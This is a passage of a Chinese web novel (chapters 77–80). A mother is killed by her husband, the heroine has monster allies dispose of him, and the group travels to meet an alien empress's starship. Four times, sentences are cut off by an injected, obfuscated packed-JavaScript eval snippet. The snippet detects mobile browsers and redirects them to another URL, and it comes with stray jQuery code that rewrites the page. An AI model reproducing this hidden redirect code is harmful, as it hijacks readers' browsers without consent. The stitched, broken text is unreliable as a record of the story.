他听着被哭声引来的脚步声暗骂一声,将手中的刀丢在一边,粗暴地拽起大哭不止的杜昊轩就要离开。杜昊轩下意识甩脱了他的手,他彻底失去耐心,面色阴沉,举起拳头狠狠锤在杜昊轩腹部。 杜昊轩被锤得“哇”一声吐了出来,眼泪鼻涕呕吐物糊了一身。他不敢再出声,人偶似的,沉默地被杜为民抗在肩上逐渐远去,望着倒地不起的母亲默默流泪。 事情为什么会变成这样? 萧荣独自躺在冰冷坚硬的路上,身体被人托起,眼前一片漆黑,呼唤的声音仿佛就在耳边,又仿佛离她很远。疼痛逐渐消失不见,取而代之的是深切的麻木与寒冷,她感受着自己的温度与生机一点一滴地从指尖流逝,茫然地想着。 她这一生都为了孩子们兢兢业业。丈夫不争气,她就加倍努力,加班加得一身劳累病,只为了让孩子拥有优渥的生活,不落于人后……她究竟做错了什么,要落得如此下场? 两个女儿先后离她而去,从小被她捧在手心的儿子眼睁睁地看着她被刺死,最后也选择了忍气吞声,跟着凶手离开。她知道只有这样儿子才能获得一线生机,但心中还是止不住地失望。 她想起了大女儿上了大学后对她说过的话——她偏心偏到了骨子里,不是一个好母亲。 的确,她对孩子们的态度各不相同,但这有错吗?她从小也是这样过来的,母亲一直告诉她与她的姐妹,有兄弟的女人嫁出去才不会被欺负。她信了,一直任劳任怨地为兄弟付出……可现在回想起来,她的那个兄弟成年后整日只会游手好闲地在家中作威作福,全靠她们三姊妹供养……她什么好处也没能得到,甚至时不时地被丈夫埋怨只会贴补娘家人。 她终于想起来了,自己小时候也恨过母亲的偏心,怨过自己的性别。可究竟是从什么时候开始,她竟然也沦为了封建的伥鬼,对自己的女儿做了同样的事! 如果从一开始就对孩子们一视同仁,结局会不会变得不一样?她偷偷看过两个女儿单独相处时的样子,她们看起来关系很好,总是有说有笑的,如果她能和女儿们关系更好些,说不定现在已经在有水电的宿舍里过上好日子了……可惜一切都晚了。 “喂,撑住,别睡啊!” 眼皮逐渐变得沉重,萧荣的手指不甘地抽搐了一下,仿佛想要抓住什么东西。在周围人逐渐远去的呼唤声中,她再也提不起一丝气力,那只手最终不再动弹,软软地垂在了身侧。 她死了。 “不行,失血实在太多,已经无能为力了。” 匆匆赶来的医生检查过萧荣的伤口后,面色沉重地摇头。 “凶手抓住了吗?” “没有,天太黑了,那人很熟悉附近的街道,我们被他带着拐了几个弯就跟丢了。” “这可怎么办……”像是警卫队长的光头男人烦躁地抓了抓后脑勺,“人没保住,凶手也跑了,这个月的奖金又泡汤了。” 警卫们已经很熟悉收尸的工作了。不一会儿,萧荣的尸体就被盖上白布抬上担架,送去了停尸的场地。 黎望舒隐在一旁的黑暗中,望着地上那滩还没来得及被清扫的深色痕迹,轻轻舒了口气。 她还是有些放心不下这夫妻俩,本想过来看看他们在做些什么,刚好撞见了杜为民袭击萧荣的一幕。她没有插手,沉默地旁观了整场闹剧。 这两夫妻做事不择手段,对杜蕊的威胁很大。她也曾烦恼过该如何处理这两人,但还没亲自下手,他们就开始自相残杀了……倒是省心。 萧荣消失了,还剩一个疯疯癫癫的杜为民。 斩草除根,才能不留后患……黎望舒皱眉思考,想要找出一个既不脏手,又能完美解决问题的方法。 “殿下。” 仿佛远远地接收到了她的想法,塞拉斯突然鬼魅似的在她身侧现身了,轻声问她:“需要我帮忙善后吗?” “……你不是正忙着种精神印记吗?”黎望舒露出见了鬼似的表情。 “您的事永远是最优先的。”见黎望舒神色略有些不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15092969|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悦,他补充道:“当然,正事的进度并没有受到影响,会在预定时间内结束。” “你监视我?”黎望舒扬眉。 “这样可以更好地响应您的需求。”塞拉斯谦卑地低下头,“这是我的职责。” “罢了……那家伙跑到哪里去了?”黎望舒问。 “他绕过了打瞌睡的警卫,已经跑出基地了——恕我直言,这个基地的警卫纪律非常松散,大部分都只是在混日子。”塞拉斯闭目感应留在杜为民身上的一丝精神力,“您想怎么做?” “敢离开基地,胆子不小。找些普通怪物跟上去,在更远的地方解决他们。”黎望舒毫不犹豫地下了决断。 塞拉斯应声,刚要散出精神力,突然顿了一下,缓缓道:“或许用不着我们添砖加瓦——他们在基地外不远处遭遇了怪物……毫无还手之力,照面不久就被咬死了,死状相当惨烈。” “……居然连把武器都不带就出去了吗。”黎望舒一时不知该说些什么,“让小怪物们把他们的尸体处理掉,横在基地附近太碍眼了。” “遵命。”塞拉斯点头,又悄无声息地消失在了夜色中。 彻底解决了一桩心事,黎望舒却丝毫不觉得轻松。 她站在原地吐出一口气,最后看了眼萧荣曾经躺过的地方——那里已经一个人也没有了,四周静悄悄的,除了地上的一滩暗色痕迹之外,完全看不出这里曾经发生过一场骚乱。 一条人命,就这样静悄悄地消失了。 ………… 深夜,黎望舒缓缓走回宿舍,抬手正要拧开门锁,却发现门下的缝隙里泻出了一丝暖黄灯光。 她动作微微一顿。 房间里头传来脚步声,很快,门从内部被拉开了,杜蕊探出了半张脸,轻声说:“你回来啦。” 黎望舒点头,“这么晚了还不睡?” “嗯,我睡不着……” 杜蕊从门缝中挤了出来——明明到了该睡觉的时间,她却穿戴整齐,似乎早就准备好了要出门——她反手合上门,有些紧张地对黎望舒说:“茉茉睡了,你累不累?我想……我想和你聊聊。” “当然可以。”黎望舒回答。 她们离开房间,黎望舒跟着杜蕊走到走廊尽头,和她并排倚在二楼的栏杆上。 “我听小闻说了,你们明天就要走?”杜蕊问。 “是。”黎望舒说,“目的地在内陆盆地,离江城很远,路上有可能会遇到突发状况,早点出发更保险。” “真快啊……”杜蕊喃喃道,“我还没做好准备与你分开。” “我也一样。”黎望舒偏头看她,“如果可以的话,我很想在你身边留下一个可靠又强大的人,比如戚依依,她和你妹妹关系很好。” “但那样会削弱你的力量。”杜蕊说,“我知道你要面对的是怎样的对手,任何一点助力都是宝贵的。” “是啊。”黎望舒说。 又是一阵沉默,夜风柔和地掠过脸颊,黎望舒静静地等待着杜蕊说明来意。 “如果……我是说如果。” 杜蕊终于做完了心理建设,张口的同时,她感觉到自己的面庞如同烧起来了似的变得滚烫,“如果我说,我改变了主意,想要跟着你一起走,你会怎么想?” 78. 第 78 章 “我会非常高兴。” 黎望舒回答得不带一丝犹豫,“我不想与你分开,我想让你时时刻刻都在我的视线范围内,我想亲自保证你的安全。但——” “……但?”杜蕊的心提了起来。 “与我同行,意味着要直接面对巨大的危险。”黎望舒轻声说,“我无法预测女皇的实力与态度,你们有可能会被直接抹杀。” 这一点,她也原原本本地告知了其他伙伴。 “我明白。”杜蕊松了口气,“留在基地里也是一样的,怪物的力量太过强大,如果连你也无法改变那位女皇的想法,江城基地最后也会被怪物碾平。与其留在基地里苟且偷生,还不如第一时间去见证这个世界究竟会变成什么样子……这样一想,居然有点激动起来了。” “这可不是郊游。”黎望舒无奈,“你要带茉茉一起走?” “嗯,我可是她姐姐,总不能让她继续在那两个人渣手下受折磨。”杜蕊趴在栏杆上朝下望,如释重负地说:“一想到离开后不用再见那两个人,心里就特别轻松……唉,遇到麻烦事,我总是喜欢用逃避解决问题。” “你已经很勇敢了。”黎望舒轻声说。 眼下要考虑的事太多,既然杜蕊已经下定决心离开江城基地,她也不急着让杜蕊知道父母的死讯。杜蕊对萧荣的感情似乎颇为复杂,如果事情能顺利推进,一切尘埃落定后,再让她慢慢消化这个消息吧。 ………… 清晨,银白电车边上,黎望舒打开后备箱,最后检查了一遍要带上的物资。 “可以了,等戚依依过来就出发。” 确认无误后,她合上后备箱,扭头对伙伴们说。郁仪闻言点头,自觉地坐上驾驶座。 “……祝你们一路顺风。” 连霏带着妞妞,特意早起过来为他们送行。她罕见地化了淡妆,看起来仍有些憔悴,双眼微微发肿,像是哭过的样子。 “谢谢,你也要注意,独自面对怪物的时候要更加小心。” 妞妞似乎刚洗过澡,毛发柔顺又散发着香气,黎望舒忍不住蹲下来翻来覆去地摸它,笑着对连霏说:“也谢谢你将车送给我们,为我们省下了找代步工具的功夫。” “我不打算出远门了,这车整天停在基地里太浪费,给了你们才能物尽其用。” 连霏望着黎望舒,压抑不住心中的不舍,上前一步,用力抱住了她,哽咽道:“……一定要活着回来。” “我会的。对了,你等一下。”黎望舒向闻风藻招手,示意他将宿舍里那板鸡蛋拿过来,“这是刘梅昨晚和女儿一起送来的。不知道她向养鸡场预支了多久的工资,居然拿得出那么多鸡蛋,说是饯别礼……路上颠簸会把鸡蛋碰坏,这些都留给你,还有这几箱按市价折下来的肉干,也帮我转交给刘梅吧。” “这么多!”连霏也被吓了一跳,“我会转交给她的。” “小黎姐姐,我来啦!” 远处,戚依依背着半透明的小书包,向这边小跑而来,方镇岳大步跟在她身后。 “人到齐了。”黎望舒笑着对连霏说,“我们该走了。” “嗯。”连霏小心地抱着鸡蛋,眼眶通红,“再见。” 方镇岳叫住了戚依依。透过车窗玻璃,黎望舒看到他弯腰为戚依依抚平裙摆上的褶皱,神色温和地不断叮嘱着什么,戚依依认真地听着,不停点头。 “舅舅,放心好了,有机会的话我会回来看你的!”最后,戚依依朝方镇岳挥了挥手,拉开车门兴高采烈地跳上后座,抱着透明的塑料小书包和杜茉挤在一起。 电车缓缓启动,在留下的人各异的目光中,向基地外驶去。 “虽然只在这里住了一个多星期,但真要离开的时候还挺舍不得的。”看着江城基地的大门被远远地抛在身后,杜蕊忍不住感叹,“对比其他地方,这里算得上世外桃源。” “给你薄荷糖。”戚依依的塑料书包里装满了花花绿绿的零食,她在书包里艰难地掏了一会儿,摸出一颗糖果递到杜茉嘴边,“含着这个就不会晕车了。” “谢谢。”杜茉犹豫了一下,张口咬住那颗糖,小心地没让嘴唇碰到戚依依的手指,戚依依不觉有异,没心没肺地收回了手,又兴致勃勃地在小书包里翻来翻去。 “这些都是你舅舅装进去的?”黎望舒看了眼后视镜。 “是保姆阿姨装进去的,舅舅只动了嘴皮子……要靠这些零食撑一个月,得做好计划才行。”戚依依左右看了一眼,“塞拉斯大人呢?” “他另有安排,不与我们同行。”黎望舒回答。 族群之中,像戚依依这样无害的高级种只是极少数的异类,听召而来的高级种大部分都渴望血肉。虽说高级种们不会随意违抗她的命令,但为了同伴们的安全,她事先吩咐过塞拉斯,让他带着高级种们落后一步,跟在距电车稍远的地方,不允许高级种们接近这边。 塞拉斯从星舰群的联络员那里得到了坐标,从地图上来看,星舰预计将降落在内陆的某个盆地附近,离这里有段距离。一个月的时间用来赶路不算太短,但也绝对不是绰绰有余,和从山城出发时不同,这次他们必须加紧脚步,没有在路上休息玩乐的余裕。 如果只是为了和谈,她本可以只带上塞拉斯与戚依依两人轻装前行,甚至不必使用代步工具,行进效率会比现在更高……但她也有自己的私心,她不想与同伴们分离。只要意识到同伴们还在身边、还需要她来保护,她的心就会不可思议地变得安宁。 为了不让自己在过往记忆的影响下动摇信念、变成另一个人,她需要同伴们来担当自己的指路灯塔。 ……最初的两天,两个孩子沉浸在新鲜感中,车厢里还有些欢声笑语。但她们在车厢里度过的时间越来越长,很快就不觉得新鲜了,又不适应昼伏夜出的作息,像晒不到太阳的花似的,变得蔫巴了不少。 几个大人清楚接下来将要面对什么,更是一个比一个紧张,一句话都不想多说,尽管杜蕊已经在努力活跃气氛,但自从两个孩子蔫巴下来,车内的气氛就无可挽救地一直滑向沉重低谷……直到一行人路过山城。 这天,电车电量用尽后,几人一如既往地找了片空地扎营生火。 “这地方看起来有点眼熟。”天边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15097957|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一抹鱼肚白,闻风藻借着晨光,望了望周围的环境。 “是吗?”杜蕊也跟着他四处转头,“都是树林,看起来没什么记忆点哎。” “我想起来了。”闻风藻垂眸思索片刻,肯定道:“不会错的,这地方离我家不远,以前我还在这里采过风。” “你家?我们到山城了?”杜蕊惊讶。 黎望舒心中微微一动。 她拿过地图,侧头问郁仪:“我们现在在什么位置?” 正在火堆旁烤肉的郁仪闻言放下手中的木签,看了眼地图,伸手在上面点出一个位置,“这里,在山城郊区,但只是经过,明天就要从这条路离开了。你想回家看看吗?” “不,那太耽误时间了。”黎望舒喃喃自语,“但邓华他们的新基地选址……那个食品仓库好像就在附近。” “那是谁呀?小黎姐姐的熟人?”戚依依好奇。 “嗯,是我们路上认识的一个人。”杜蕊说着打了个冷战,“我想起那次怪潮了……明明已经过去了一个多月,但依然像发生在昨天一样,每个细节都能清晰地回忆起来,太可怕了。” “黎姐,你想去找他们?”闻风藻问。 “离开时我答应过她,再回来时要给她带些土特产。但邓华他们不一定还在那里,大家一起去也太麻烦了。”黎望舒想了想,“这样吧,我一个人去那边看看,这个距离的话天黑前就能回来。” “我也去。”郁仪立刻将半生不熟的肉串放进盘子里,擦了擦手站起身来。 “行,那依依留在这里保护大家。” 黎望舒说走就走,从后备箱里挑了一小包东西,和郁仪一起离开了营地。 ………… 厂房中的小房间里,邓华蹙眉盯着手中的清单,刘春生愁眉苦脸地坐在她对面。 “小华,来投靠我们的人越来越多,仓库里的存粮快见底了。” 如同热锅上的蚂蚁,刘春生急得团团转:“这可怎么办啊,本来以为我们至少能撑到收获第一波粮食……没想到才刚开春,种子刚种下去就要断粮了。” “大春哥,你先别急。”邓华强迫自己冷静下来,努力思考对策,“总会有办法的……多派几个搜索队出去,多带些物资回来,大家勒紧裤腰带,撑过这段时间就会好起来的。” “这附近已经被搜了个遍,很难再搜出能用的物资,只能让搜索队走得更远一点……但我们的汽油已经所剩无几了。”刘春生说,“让大家饿肚子也不现实,农活可是体力活,吃不饱怎么会有精力干。” “实在不行的话……只能放弃基地里那些没有行动能力的人了。”沉默片刻后,邓华低声说,“这样下去所有人都会被饿死。” “邓叔不会同意的。”刘春生挠头,“那些人如果被放弃了,邓叔肯定也会绝食的。” 想起邓伯同的固执,邓华与刘春生无奈地对视一眼,不约而同地叹了口气。 “邓姐!” 门外突然传来了清脆的呼喊声。急促的脚步声接近,房门被推开,扎着马尾辫的小水探头进来,双眼亮晶晶地说:“您看谁来了!” 79. 第 79 章 “黎小姐!” 见到门后的两个熟悉身影,邓华惊喜地迎了上去。 “好久不见。” 黎望舒客气地握上邓华的手。见邓华笑容一如往常地爽朗,皮肤也莹润有光泽,不像挨过饿的样子,她放下心来,笑着说:“我看到外面的几大片农田了,看来你们生活得很不错。” “这……”邓华与刘春生对视一眼,都从彼此的眼中看到了苦涩的情绪。 “怎么了?”黎望舒左右看了一眼,敏锐地察觉到了这二人的为难,“遇到难处了?” “……实不相瞒,虽然在农田里种下了种子,但我们的粮食已经快耗尽了,恐怕撑不到收获的时候。”一提起这件事,邓华就忍不住叹气,“这几天我一直在算,但无论怎么计划都没办法用现有的食物喂饱所有人,我头发一把一把地掉,快要愁死了。” “怎么会这样?”黎望舒惊讶,“我们离开的时候,基地里储存的食物还够吃四五个月吧。” “是啊。那时基地里人还没有这么多,这一个月里,我们陆陆续续接纳了不少过路的旅人,开销一下子变大了……但这并不是主要原因。”邓华无奈地接着说,“我父亲还是那个老毛病,即便没了一只手臂,仍然没办法放着有困难的人不管,被他救回来的老弱病残们整日在基地里等着吃饭,根本没法做什么像样的劳动。一来二去,食物消耗得飞快,补充的速度完全跟不上消耗……” 她忍不住絮絮叨叨地说了一大堆,被刘春生拉了下衣袖才回过神来,尴尬道:“……瞧我,打开话匣子就停不下来了。你刚回来,还没来得及坐下就听了一通抱怨,真不好意思。” ……看来邓华还不知道怪物肉可以充当食物,她这一趟算是来对了。 “别放在心上。”黎望舒将手中的小纸包递给她,“之前答应过带给你的特产,打开看看吧。” “这怎么好意思……我还说过要用新鲜的蔬菜瓜果招待你呢,但现在只种出了些冬白菜,等下包一些给你,希望你别嫌弃。” 说着,邓华打开纸包,看到里面的内容物时,神色微滞。她伸手从里面拿出了一小条深蓝色的触足,小心地捏了捏,又放在眼镜前仔细端详,谨慎地问:“这是……肉?这种形状好像在哪里见过……” “这是怪物肉煮熟风干后制成的肉干。”黎望舒淡定地挑明,“这是我从江城带回来的特产,那里的居民大多吃这个维生。” “怪、怪物肉?!”刘春生的声音变了调,他瞪大双眼看着邓华手中的触足,难以置信地问:“等等,怪物能吃?我还以为怪物都是有毒的。江城的人吃了之后身体没有出现变化吗?比如长出触手或是精神失常之类的……” “到我们离开时为止,江城没有出现过食用怪物肉干食物中毒的居民,这是安全的食物。”黎望舒看向邓华,“如果你们正在为了食物发愁,不如试一试这种方法。” “小华,这……哎,你怎么已经开始吃了!”刘春生大惊失色。 邓华毫不犹豫地将肉干丢入口中,她蹙眉咯吱咯吱地用牙齿咀嚼肉干,半天才艰难地一伸脖子,将肉干咽了下去,喃喃道:“这东西味道很怪……嚼起来像是在吃橡胶,很难咬烂。” “的确,它算不上美味。”黎望舒说,“但可以填饱肚子。” “与农作物相比,怪物肉得来更容易。虽然猎杀怪物有一定的危险性,但它们取之不尽用之不竭……谢谢你,黎小姐,为我们解了燃眉之急。”邓华攥紧手里的小纸包,目光灼灼地看向黎望舒,“能否请教这种肉干的具体制作方法?” 黎望舒点头道:“当然。肉干只是食用方便,保存时间更久,如果暂时缺少设备制作,可以直接将新鲜的怪物烤熟,一样能吃。” 她早有准备,从口袋中掏出杜蕊写好的详尽制作步骤递给邓华——在江城基地时,杜蕊尝试过各种各样的工作,刚好在烘干场学到过完整的肉干制作方法。 邓华打开纸条看了一眼,感激道:“真是不知该如何感谢您……我这就派兄弟们出去猎点怪物回来试做。快到午饭时间了,两位留下来吃顿饭如何?我们一定用最好的饭菜招待!” 刘春生附和:“我这就去地里折白菜叶,又新鲜又水灵,脆生生的特别好吃。” “心领了,但我们只是路过来看一眼,必须在天黑前回去。”黎望舒婉拒,“下次有机会再说吧。” “这么着急……发生什么事了?”邓华从她看似平淡的态度中察觉到了什么,不由得有些紧张,“如果有我能帮上忙的地方,您尽管提。” “谢谢,不是什么大事。”黎望舒回答,“我们可以解决。” 简单与邓华道了别,黎望舒与郁仪一同走出房间,正准备转身离开,边上突然传来了一道细细的声音:“那、那个……黎小姐!” 黎望舒脚步一顿,朝声音的来处望去——引领他们二人进入基地的小水居然还守在门外。小水看起来不像上次见面时那样弱不禁风了,手臂上的肉变得紧实,皮肤也被晒黑了一些,她表情纠结,手指不自觉地缠在一起,看起来有些踌躇。 “有事吗?”黎望舒温和地问。 “我想问……闻风藻学长怎么没有和你们一起来呀?”小水的手指不安地攥在一起,“他还好吗?” “他还活着,没有受伤,但不方便过来,和其他人一起留在营地里看行李。”黎望舒明白她想问什么了,简短地解释过后,贴心地问:“有什么话需要我带给他吗?” “不、不用!我只是问问。”小水慌张地摆手,低声说,“还是别让学长想起我了,我和同学们带给他的,只有痛苦的回忆……” 小水看起来很难过,似乎是真心悔过了。黎望舒什么也没对她说,简单一点头后,带着郁仪离开了山城基地,回到营地后也没有向闻风藻转述这个小插曲。 她没有资格,也没有立场替闻风藻原谅。 天黑后,银白电车驶出山城地界,接着向目的地进发。 从邓华处得来的冬白菜被郁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101046|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仪炖进了肉汤。也许是因为太久没吃过新鲜蔬菜了,黎望舒竟然从汤中尝到了不可思议的鲜甜味,其他几人也喝得很高兴。暖呼呼的肉汤落进胃里,说笑间,笼罩在众人头顶的阴霾仿佛散去了不少。 与来时不同,有了塞拉斯的精神印记保驾护航,这一次的旅途风平浪静,没有遇到任何危险,同时也变得乏味了不少。 车窗外都是大差不差的景色,两个孩子想出了各种各样自娱自乐的方法,又很快地全部玩腻了,到了最后,连可以使用的话题都已经枯竭,几人之间的交谈不是“今晚吃什么”就是“还有多久才能到……” 所有人的耐心都被漫长的旅程摧残得所剩无几……终于,就在大家的忍耐即将到达极限时,他们抵达了坐标点上的位置。 天还没完全黑,大片空旷的黄沙之上,血红色的夕阳将天边的云朵染得金光闪闪,随着夕阳逐渐被地平线吞没、夜幕降临,地面上被晒得滚烫的沙砾也一点点冷却下来。 沙地上风很大,刚一打开车门,黎望舒猝不及防地吃了一嘴的沙子,旁边的郁仪额发被席卷而来的大风掀开,面无表情露出额头的样子看起来十分好笑。 “呸呸呸!”又是一轮大风刮过,杜蕊一个趔趄,狼狈地吐出唇齿间的沙子,望着四周的景色瞠目结舌,“这里几乎算得上沙漠了吧!” 的确。夕阳的映照下,金红沙地没有尽头似的一直延伸到了地平线,沙丘弧度柔和,放眼望去看不到一丝绿意。空气炽热又干燥,皮肤中的水分仿佛都被这干燥的空气吸走了似的,哪怕灌下一瓶又一瓶的水,嘴唇依然干得难受……这里的气候与沿海的江城比起来,简直是天差地别。 戚依依变得蔫了吧唧的,用书包挡在额头上,试图隔绝皮肤与阳光的接触,她叹着气抱怨:“好热……” 黎望舒也不喜欢这样的气候,她摸了摸自己干巴巴的触手,打心底里开始怀念江城湿润的空气,“女皇怎么选了这样的地方作为降落地点?” “也许是因为地面够平?”闻风藻随口猜测,“谁知道呢。” “殿下。”塞拉斯悄无声息地来到她身旁,“那边已经安顿好了。” “很好。”黎望舒问:“你和接线员联系过了吗?星舰群什么时候降临?” “预计在明晚到后天白天之间……时间把握得正好,不愧是您。”塞拉斯暗戳戳地捧她。 “那就好。这鬼地方实在太干了,我一秒都不想多待。”黎望舒烦躁地把陷在沙中的触手抽出,用力甩了甩上面的沙粒,“托这些沙子的福,一想到要见女皇,我居然没那么紧张了。” “您的确不必紧张。”塞拉斯微笑着说,“女皇陛下看重血脉,无论如何,她都会留下您的性命……至于其他的,今后再慢慢筹划就好。” “但她一定不在乎任何人类。伙伴们的性命都挂在我身上,我一步踏错,他们都会葬身于此。”黎望舒吐了口气,眸光锐利地直视塞拉斯,不悦道:“你在劝我放弃?我绝不会后退半步。” 80. 第 80 章 天彻底黑下来,一行人离开了那片沙漠,在距离坐标点两公里外的地方扎营休息。 “离得这么远没关系吗?”杜蕊疑惑,“为什么不待在近一点的地方呀。” “别担心,来得及。”黎望舒淡定地说,“两公里而已,我速度快,一下子就到了。” “星舰可都是大家伙,要是真的直接把营地扎在坐标点,我们会被底盘压扁的。”戚依依忍不住碎碎念,“其实我觉得两公里太近了,如果整个星舰群降落在这里,它们掀起的气浪足以烤熟我们所有人。” “塞拉斯确认过,这一次降落的只有女皇搭乘的主舰,余下的星舰会停留在大气层外。”黎望舒说。 “也就是说,我们不必立刻面对其他星舰上搭载的精锐部队。”戚依依稍稍松了口气,又不安地追问:“它们会在什么时候降落?” “这取决于女皇的态度。”黎望舒顿了顿,“也许永远不会降落,也许就在下一个瞬间……如果谈话进行得不顺利的话。” 戚依依面色发青。 她还是个幼童的时候,家中长辈就耳提面命地一遍遍教育她,王族不可违抗。即便已经一遍又一遍地做足了心理建设,但意识到自己即将与女皇陛下站在对立面时,她还是不由自主地感到恐惧。 没关系的……就算对手是女皇陛下也没关系,她可是站在王储殿下这一边的! 为了缓解紧张,戚依依不停地深呼吸,一遍遍地为自己打气。 “主星舰降临后,我会和塞拉斯一起去面见女皇。”黎望舒叮嘱伙伴们,“你们留在营地里,依依,你也留下,注意天上的状况,如果发现情势不对就带着大家往远处跑,不要犹豫。” 戚依依坚定地点头。 “一定要小心啊。”为了让黎望舒安心,杜蕊压下心中的不安,扯出笑容,“我会在这里等你回来。” “黎姐,我的催眠能力不像一开始时那么弱了,说不定能帮上忙,就算只能放倒一两个人也没关系。”闻风藻有些不甘,“我能为你做的太少了……至少在最后让我成为你微不足道的助力吧。” “别冲动,还没到直接开战的地步。”黎望舒纠正他,“这也不是什么‘最后’,你太悲观了。我一定会带着胜利归来,我们所有人都还有未来。” 闻风藻似乎还想说什么,但盯着她沉静的面容看了两秒,他最后还是点了点头,沉默下来。 最后,黎望舒看向郁仪——他一如既往地贴在她身边,面上没什么表情,瞳孔被跳动的火光映得微微发亮,看起来和往常的样子没什么不同。 他一双乌眸静静地看过来,明明什么都没说,黎望舒却已经隐约明白了他的想法。 “你非要跟去?”她叹了口气,“这很危险。” “我不想与你分开。”郁仪握紧剑柄,“你说过不会抛下我的。” “……粘人精。” 黎望舒料到了他会这样,但也拿他没什么办法……总不能强行将他绑在营地里。 她无法预料到面见女皇时会发生什么,如果场面变得混乱,她顾不上保护身边的人。 她无言思索着,正想再多叮嘱郁仪两句,眼前的火光突然在视野中变得明亮了许多……不,不对,是火堆以外的地方突然变暗了。 她悚然抬头望向四周——刚刚还挂在天幕上的一轮弯月消失不见,仿佛被一只无形大手盖住了似的,连月光也被严严实实地尽数截断。 大地笼罩在黑暗中,眼前的小小火堆成了天地间唯一的光源,摇曳火光在每个人的身后勾勒出细长的影子,长长地拉伸向远处,最终被深不见底的黑暗吞没。 “怎么回事?”漆黑夜空中见不到一丝光亮,杜蕊仰头,惊疑不定地问,“是乌云吗?月亮被乌云遮住了?” “我从没见过这么浓的乌云……”闻风藻喃喃道。 “是女皇陛下的主舰!” 戚依依一下子站了起来,她仰望着那片遮天蔽日的巨大阴影,声音微微颤抖着,牙关也开始打战,“原计划是明晚才对啊!居然再一次提前了……” “殿下!”塞拉斯迅速赶来,面上带着一丝不明显的慌乱,显然也没想到计划会被打乱。他飞快地调整好表情,神色肃然地冲黎望舒做了个请的手势,“主舰正在突破大气层,我们该去迎接女皇陛下了,请跟我来。” 郁仪无言起身,她深吸一口气,沉声道:“走吧。” ………… 站在坑坑洼洼的沙地上,黎望舒艰难地抬头仰望那片逐渐下压的黑影,喉咙一阵阵地发干,连呼吸都带上了铁锈味。 周围的黑暗被驱散,大地被天空中的光芒照得宛如白昼——星舰外部的特殊力场与大气剧烈摩擦,绽放出了耀眼的金红色光芒,照亮了半个夜空,直视那光芒时双眼几乎都要被刺伤;巨大的轰鸣声响彻耳畔,她强撑着没去捂耳朵,连胸口都被震得发麻。 地表的沙子被星舰底部的压力掀得四散纷飞,强劲气浪水波似的扩散开来,沙子瀑布一样成片地往脸上扑……如果没有塞拉斯撑开的精神力屏障,他们现在一定满头满脸沾满沙子。 空气逐渐升温,变得干燥又灼热,每一次呼吸都滚烫地碾过气管,喉咙中的水分被吸干,连肺部都仿佛被炙烤过一遍似的变得火辣辣的。 黎望舒口干舌燥,忍不住吞了口唾沫,屏住呼吸看着那艘庞然大物逐渐从遥远天空中降下。 随着舰体成功突入大气层,舰体表面的耀眼光芒逐渐熄灭,她终于得以看清了这艘星舰的全貌——它看起来和大多数科幻电影中的星舰区别不大,但又并不完全相同,形状宛如一颗两头尖尖的水滴,又像一颗巨大的银白丝茧,舰身上的银色涂料泛着冷光,流线状的曲线看起来非常美丽,表面还笼罩着一层淡淡的浅蓝色荧光。 “这就是星舰?”第一次直面这样庞大又美丽的物体,黎望舒几乎失去了语言能力,“它比我想象中……更加漂亮。” 一想到自己即将登入它的内部,她内心止不住地激荡起来。 “呵呵……您还真是喜欢这艘星舰。”塞拉斯眉眼软和下来,神色略带怀念,“还记得从前您第一次见到它时,也说过一模一样的话。” 丝茧似的银色星舰在视野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15109473|158285||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中放大,带起的灼热气浪将沙子烤得滚烫。 “殿下,我会随您一同进入星舰内部,但面见女皇陛下时我无法陪同,陛下与您交谈时身边向来不会留人。”塞拉斯伸手加固精神力屏障,偏头看了眼郁仪,“人类……恕我直言,应当没有登上星舰的资格,他必须在这里等待。” 郁仪放在剑柄上的手指微微痉挛,他压下涌到喉头的苦涩,抬眸望向黎望舒,低声道:“没关系,我会在这里等着。” 等待令人焦灼,但他更不想让黎望舒为难。 “别担心,我会尽快回来。”黎望舒安慰他。 出乎她的意料,银色星舰并没有降落到底,而是在距地面十几米的地方停住,纹丝不动地静静悬浮在半空中。 